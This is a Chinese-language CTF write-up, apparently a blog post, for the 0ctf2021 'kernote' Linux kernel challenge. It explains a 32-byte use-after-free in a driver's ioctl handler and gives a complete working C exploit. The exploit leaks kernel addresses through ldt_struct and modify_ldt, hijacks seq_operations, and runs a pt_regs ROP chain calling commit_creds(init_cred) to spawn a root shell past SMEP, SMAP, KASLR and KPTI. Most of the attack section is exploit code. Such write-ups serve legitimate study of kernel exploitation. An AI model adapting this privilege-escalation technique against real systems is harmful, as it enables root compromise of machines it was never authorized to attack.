• 【ldt_struct】0ctf2021-kernote


    前言 

    题目给的文件系统是 ext4,所以我们只需要将其挂载即可使用:

    1、创建一个空目录

    2、使用 mount 将其挂载即可

    3、使用 umount 卸载即可完成打包

    开启了 smap、smep、kaslr 和 kpti 保护,并且给了如下内核编译选项:

    1. Here are some kernel config options in case you need it
    2. ```
    3. CONFIG_SLAB=y
    4. CONFIG_SLAB_FREELIST_RANDOM=y
    5. CONFIG_SLAB_FREELIST_HARDENED=y
    6. CONFIG_HARDENED_USERCOPY=y
    7. CONFIG_STATIC_USERMODEHELPER=y
    8. CONFIG_STATIC_USERMODEHELPER_PATH=""
    9. ```

    可以看到这里使用的是 slab 分配器而不是默认的 slub 分配器:

    • 开启了 Random Freelist(slab 的 freelist 会进行一定的随机化)
    • 开启了 Hardened Freelist(slab 的 freelist 中的 object 的 next 指针会与一个 cookie 进行异或(参照 glibc 的 safe-linking))
    • 开启了 Hardened Usercopy(在向内核拷贝数据时会进行检查,检查地址是否存在、是否在堆栈中、是否为 slab 中 object、是否非内核 .text 段内地址等等
    • 开启了 Static Usermodehelper Path(modprobe_path 为只读,不可修改)

     漏洞利用

    驱动程序比较简单,就一个 ioctl 函数,实现了四个功能,给了一个 32 字节大小的 UAF,并且有写 8 字节的能力。

    漏洞的产生在于在释放了 buf[idx] 时,虽然将其置零了,但是我们可以通过 note 继续操作释放的堆块,这里就导致了 UAF。

    这里需要注意的是本题使用的是 slab 分配器,其最小的堆块大小就是 32 字节了,所以这里的 ldt_struct 也是会分配到 32 字节的 object,所以这里选择 ldt_struct 泄漏内核基地址,然后再劫持 seq_operations,利用 pt_regs 一套带走。

    exp 如下:

    1. #ifndef _GNU_SOURCE
    2. #define _GNU_SOURCE
    3. #endif
    4. #include
    5. #include
    6. #include
    7. #include
    8. #include
    9. #include
    10. #include
    11. #include
    12. #include
    13. #include
    14. #include
    15. #include
    16. #include
    17. #include
    18. #include
    19. #include
    20. #include
    21. #include
    22. #include
    23. #include
    24. #include
    25. #include
    26. #include
    27. #include
    28. #define SECONDARY_STARTUP_64 0xffffffff81000040
    29. size_t pop_rdi = 0xffffffff81075c4c; // pop rdi ; ret
    30. size_t init_cred = 0xffffffff8266b780;
    31. size_t commit_creds = 0xffffffff810c9dd0;
    32. size_t add_rsp_xx = 0xFFFFFFFF81A1B270;
    33. size_t swapgs_kpti = 0xFFFFFFFF81C00FB8;
    34. int seq_fd;
    35. char buffer[8];
    36. void err_exit(char *msg)
    37. {
    38. printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    39. sleep(5);
    40. exit(EXIT_FAILURE);
    41. }
    42. void info(char *msg)
    43. {
    44. printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
    45. }
    46. void hexx(char *msg, size_t value)
    47. {
    48. printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
    49. }
    50. void binary_dump(char *desc, void *addr, int len) {
    51. uint64_t *buf64 = (uint64_t *) addr;
    52. uint8_t *buf8 = (uint8_t *) addr;
    53. if (desc != NULL) {
    54. printf("\033[33m[*] %s:\n\033[0m", desc);
    55. }
    56. for (int i = 0; i < len / 8; i += 4) {
    57. printf(" %04x", i * 8);
    58. for (int j = 0; j < 4; j++) {
    59. i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");
    60. }
    61. printf(" ");
    62. for (int j = 0; j < 32 && j + i * 8 < len; j++) {
    63. printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
    64. }
    65. puts("");
    66. }
    67. }
    68. /* bind the process to specific core */
    69. void bind_core(int core)
    70. {
    71. cpu_set_t cpu_set;
    72. CPU_ZERO(&cpu_set);
    73. CPU_SET(core, &cpu_set);
    74. sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
    75. printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
    76. }
    77. int fd;
    78. void add(size_t idx)
    79. {
    80. ioctl(fd, 0x6667, idx);
    81. }
    82. void dele(size_t idx)
    83. {
    84. ioctl(fd, 0x6668, idx);
    85. }
    86. void note_get(size_t idx)
    87. {
    88. ioctl(fd, 0x6666, idx);
    89. }
    90. void note_write(size_t data)
    91. {
    92. ioctl(fd, 0x6669, data);
    93. }
    94. int main(int argc, char** argv, char** env)
    95. {
    96. bind_core(0);
    97. int res;
    98. int pipe_fd[2];
    99. size_t* buf;
    100. size_t temp;
    101. size_t page_offset_base;
    102. size_t search_addr;
    103. size_t kernel_offset;
    104. struct user_desc desc = { 0 };
    105. fd = open("/dev/kernote", O_RDWR);
    106. if (fd < 0) err_exit("Failed to open /dev/kernote");
    107. add(0);
    108. note_get(0);
    109. dele(0);
    110. page_offset_base = 0xffff888000000000;
    111. desc.base_addr = 0xff0000;
    112. desc.entry_number = 0x8000 / 8;
    113. syscall(SYS_modify_ldt, 1, &desc, sizeof(desc));
    114. while (1)
    115. {
    116. note_write(page_offset_base);
    117. res = syscall(SYS_modify_ldt, 0, &temp, 8);
    118. if (res > 0) break;
    119. else if (res == 0) err_exit("Error in leak page_offset_base by ldt_struct");
    120. page_offset_base += 0x4000000;
    121. }
    122. hexx("page_offset_base", page_offset_base);
    123. pipe(pipe_fd);
    124. buf = malloc(0x1000*sizeof(size_t));
    125. kernel_offset = -1;
    126. search_addr = page_offset_base;
    127. while (1)
    128. {
    129. note_write(search_addr);
    130. if (!fork())
    131. {
    132. res = syscall(SYS_modify_ldt, 0, buf, 0x8000);
    133. for (int i = 0; i < 0x1000; i++)
    134. if (buf[i] > 0xffffffff81000000 && (buf[i]&0xfff) == 0x040)
    135. {
    136. kernel_offset = buf[i] - SECONDARY_STARTUP_64;
    137. break;
    138. }
    139. write(pipe_fd[1], &kernel_offset, 8);
    140. exit(0);
    141. }
    142. wait(NULL);
    143. read(pipe_fd[0], &kernel_offset, 8);
    144. if (kernel_offset != -1) break;
    145. search_addr += 0x8000;
    146. }
    147. hexx("kernel_offset", kernel_offset);
    148. pop_rdi += kernel_offset;
    149. init_cred += kernel_offset;
    150. commit_creds += kernel_offset;
    151. swapgs_kpti += kernel_offset;
    152. add_rsp_xx += kernel_offset;
    153. hexx("add_rsp_xx", add_rsp_xx);
    154. add(1);
    155. note_get(1);
    156. dele(1);
    157. seq_fd = open("/proc/self/stat", O_RDONLY);
    158. if (seq_fd < 0) err_exit("Failed to open /proc/self/stat");
    159. note_write(add_rsp_xx);
    160. asm(
    161. "mov r15, pop_rdi;"
    162. "mov r14, init_cred;"
    163. "mov r13, commit_creds;"
    164. "mov r12, swapgs_kpti;"
    165. "xor rax, rax;"
    166. "mov rdi, seq_fd;"
    167. "mov rsi, buffer;"
    168. "mov rdx, 8;"
    169. "syscall;"
    170. );
    171. hexx("UID", getuid());
    172. system("/bin/sh");
    173. return 0;
    174. }

     效果如下:

    彩蛋

    这里调试时,又无法在 seq_operations->start 这里断住,思考了好久,最后想到了,seq_operations->start 是在 seq_read_iter 中被调用的,所以直接把断点打在 seq_read_iter 这里,然后再跟几步就可以跟到 seq_operations_start 了。以后就直接这样调试了

    其实我们要注意栈回溯,如果断点断不下来,我们可以往前回溯,然后跟几步就 ok 了

    参考:【CTF.0x05】TCTF2021-FINAL 两道 kernel pwn 题解 - arttnba3's blog

  • 相关阅读:
    树莓派 qt 调用multimedia、multimediawidgets、serialport、Qchats
    10个基于.Net开发的Windows开源软件项目
    si446使用记录(一):基本资料获取
    了解LLVM、Clang编译过程
    Unraid 使用 Docker Compose 安装 Immich 套件无法启用人脸识别的原因及修复方法
    约瑟夫环问题
    cookie session 和 token还有单点登录
    C/C++ 实现Windows注册表操作
    new Vue() 发生了什么?
    LeetCode 面试题 08.11. 硬币
  • 原文地址:https://blog.csdn.net/qq_61670993/article/details/133563905